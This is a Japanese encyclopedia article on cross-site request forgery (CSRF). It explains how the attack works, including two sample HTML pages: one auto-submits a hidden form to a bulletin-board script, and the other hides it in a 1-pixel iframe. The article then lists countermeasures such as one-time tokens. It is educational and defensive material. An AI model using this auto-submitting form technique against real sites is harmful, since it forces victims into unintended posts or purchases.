クロスサイトリクエストフォージェリ
出典: フリー百科事典『ウィキペディア(Wikipedia)』
クロスサイトリクエストフォージェリ(Cross site request forgeries, 略記:CSRF)とは、WWW における攻撃手法の一つ。 具体例として、掲示板に意図しない書き込みをさせられたり、オンラインショップで買い物をさせられたりするなどの被害が起こる。 mixi で2005年4月19日ごろに発生した「ぼくはまちちゃん」騒動(後述)によってその存在が広く知られることとなった。
目次 |
[編集] 原理
攻撃の大まかな流れは以下の通り。
- 攻撃者が、攻撃用の Web ページを作成して WWW 上に公開する。
- 第三者が、攻撃用の Web ページにアクセスする。
- 第三者は、攻撃者が用意した任意の HTTP リクエストを送信させられる。
- 送信させられた HTTP リクエストによって、攻撃者の意図した操作が行われる。
簡単な HTML を例示して、その原理を具体的に解説する。
- attack.html
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html lang="ja">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=Shift_JIS">
<meta http-equiv="Content-Script-Type" content="text/javascript">
<title>攻撃用のページ</title>
</head>
<body onLoad="document.attackform.submit();">
<form name="attackform" method="post" action="http://example.com/bbs/register.cgi">
<input type="hidden" name="title" value="攻撃者が指定した題名">
<input type="hidden" name="article" value="攻撃者が指定した本文">
<input type="submit" value="送信">
</form>
</body>
</html>
- clickme.html
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html lang="ja">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=Shift_JIS">
<meta http-equiv="Content-Style-Type" content="text/css">
<title>誘導用のページ</title>
</head>
<body>
<p>ようこそいらっしゃいました。<iframe width="1" height="1" src="attack.html"></iframe></p>
</body>
</html>
第三者が clickme.html にアクセスすると、以下のような流れで http://example.com/bbs/register.cgi に自動的に書き込み処理が行われる。
- clickme.html のインラインフレーム内で attack.html が呼び出される。
- attack.html の body 要素に指定された onLoad 属性により、ページが読み込まれるのと同時に、そのページ内のフォームの送信ボタンが自動的に押下される。
- http://example.com/bbs/register.cgi に自動的にアクセスが行われ、attack.html のフォーム内に指定された内容の書き込みを行う。
なお、これらの出来事はすべて clickme.html 内に存在する 1 ピクセル四方のインラインフレームで行われるため、被害者に攻撃を受けたことを気付かれにくくなっている。「ぼくはまちちゃん」騒動で使用された攻撃では、インラインフレームの代わりに img タグを利用した巧妙な偽装が行われていた。
[編集] 対策
[編集] 利用者側
利用者側で出来る対策の一つは、Cookie の使用を最小限に留めることである。クロスサイトリクエストフォージェリの攻撃の中には、ブラウザが送信する Cookie 情報に依存しているものがあるため、Cookie をこまめに破棄することで被害を受ける可能性を少なくすることが出来る。
認証制の Web システムの中には、mixi や Wikipedia のように、Cookie を使って自動的にログインする機能を持つものがあるが、攻撃を受ける可能性を少なくするために、そのような機能を利用しないようにするか、こまめにログアウトしておくことが望ましい。
そのほか、任意の Web システムを利用している最中は、むやみに他のサイトを閲覧しないようにすることも大切である。
[編集] コンテンツ提供者側
第三者が知り得ない情報をフォームに入力させる(あるいはフォームの hidden パラメータに設定しておく)というのが基本的な対策方針である。具体的には以下の方法が挙げられる。
- 認証情報を入力させる
- 認証制の Web システムの場合、入力フォームにユーザIDとパスワードを含めるという方法がある。システムの利用者から見れば、既にログイン画面で認証を行っているため冗長な操作であるが、クロスサイトリクエストフォージェリの対策としては最も効果がある。
- ワンタイムトークンを利用する
- 入力フォームに、第三者に推測されにくい文字列を hidden パラメータとして指定しておき、フォームの情報を受け取る段階でそのパラメータの整合性をチェックするという方法である。そのパラメータが整合性のチェックでしか使われない一時的なデータであるために「ワンタイムトークン」と呼ばれる。